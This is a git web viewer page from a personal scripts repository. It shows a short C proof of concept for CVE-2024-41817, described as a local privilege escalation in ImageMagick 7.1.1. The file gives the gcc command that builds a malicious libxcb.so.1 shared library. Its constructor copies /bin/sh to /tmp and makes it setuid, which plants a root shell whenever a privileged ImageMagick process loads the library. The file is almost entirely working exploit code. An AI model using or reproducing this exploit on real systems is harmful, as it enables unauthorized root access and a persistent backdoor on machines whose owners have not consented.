etc.git


etc

~ scripts and random things
git clone https://github.com/djnnvx/etc.git
log | files | refs | archive

CVE-2024-41817.c (283B)

      1 /*
      2     ImageMagick 7.1.1 LPE
      3     compile with:
      4 
      5     gcc -x c -shared -fPIC -o ./libxcb.so.1 CVE-2024-41817.c
      6 
      7 */
      8 
      9 #include <stdio.h>
     10 #include <stdlib.h>
     11 #include <unistd.h>
     12 
     13 __attribute__((constructor)) void init(){
     14     system("cp /bin/sh /tmp && chmod u+s /tmp/sh");
     15     exit(0);
     16 }